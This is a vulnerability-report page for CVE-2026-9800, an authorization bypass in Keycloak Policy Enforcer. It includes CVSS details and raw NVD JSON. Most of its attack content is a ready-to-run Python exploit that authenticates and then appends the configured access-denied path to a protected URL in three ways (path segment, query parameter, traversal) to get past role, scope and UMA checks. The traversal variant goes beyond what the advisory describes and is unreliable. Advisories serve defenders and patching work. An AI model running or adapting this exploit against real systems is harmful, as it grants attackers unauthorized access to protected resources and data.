Security Vulnerability Report
中文
CVE-2026-9800 CVSS 8.1 HIGH

CVE-2026-9800

Published: 2026-06-25 17:17:04
Last Modified: 2026-06-25 17:17:04

Description

A flaw was found in Keycloak Policy Enforcer. This vulnerability allows any authenticated user to bypass all authorization policies, including role, scope, and User-Managed Access (UMA) permission checks. By including the configured access-denied page path within a request URL, either as a path segment or a query parameter, an attacker can gain unauthorized access to protected resources.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Red Hat Keycloak Policy Enforcer 所有受影响版本(具体版本范围待Red Hat官方确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9800 PoC - Keycloak Policy Enforcer Authorization Bypass # Vulnerability: Authorization bypass via access-denied path injection import requests # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "your-client-id" USERNAME = "attacker_user" PASSWORD = "attacker_password" PROTECTED_RESOURCE = "/api/protected/admin/data" ACCESS_DENIED_PATH = "/access-denied" # Configured access-denied page path def exploit_auth_bypass(): """ Exploit CVE-2026-9800 by injecting the access-denied path into the request URL to bypass authorization checks. """ # Step 1: Authenticate and obtain access token token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" token_data = { "grant_type": "password", "client_id": CLIENT_ID, "username": USERNAME, "password": PASSWORD } response = requests.post(token_url, data=token_data) access_token = response.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Step 2: Method 1 - Inject access-denied path as a path segment # Normal request would be blocked by Policy Enforcer bypass_url_1 = f"{KEYCLOAK_URL}{PROTECTED_RESOURCE}{ACCESS_DENIED_PATH}" print(f"[+] Attempting bypass via path segment: {bypass_url_1}") resp1 = requests.get(bypass_url_1, headers=headers) print(f"[+] Response status: {resp1.status_code}") # Step 3: Method 2 - Inject access-denied path as a query parameter bypass_url_2 = f"{KEYCLOAK_URL}{PROTECTED_RESOURCE}?redirect={ACCESS_DENIED_PATH}" print(f"[+] Attempting bypass via query parameter: {bypass_url_2}") resp2 = requests.get(bypass_url_2, headers=headers) print(f"[+] Response status: {resp2.status_code}") # Step 4: Method 3 - Path traversal style injection bypass_url_3 = f"{KEYCLOAK_URL}{ACCESS_DENIED_PATH}/../{PROTECTED_RESOURCE.lstrip('/')}" print(f"[+] Attempting bypass via path traversal: {bypass_url_3}") resp3 = requests.get(bypass_url_3, headers=headers) print(f"[+] Response status: {resp3.status_code}") return resp1, resp2, resp3 if __name__ == "__main__": print("[*] CVE-2026-9800 Keycloak Policy Enforcer Auth Bypass PoC") print("[*] WARNING: Use only for authorized security testing\n") results = exploit_auth_bypass() for i, resp in enumerate(results, 1): if resp.status_code == 200: print(f"[+] Method {i}: Authorization bypass successful!") else: print(f"[-] Method {i}: Bypass failed (status: {resp.status_code})")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9800", "sourceIdentifier": "[email protected]", "published": "2026-06-25T17:17:04.180", "lastModified": "2026-06-25T17:17:04.180", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak Policy Enforcer. This vulnerability allows any authenticated user to bypass all authorization policies, including role, scope, and User-Managed Access (UMA) permission checks. By including the configured access-denied page path within a request URL, either as a path segment or a query parameter, an attacker can gain unauthorized access to protected resources."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Red Hat", "product": "Red Hat Build of Keycloak", "defaultStatus": "affected", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "rhbk/keycloak-rhel9", "cpes": ["cpe:/a:redhat:build_keycloak:"]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1025"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9800", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482472", "source": "[email protected]"}]}}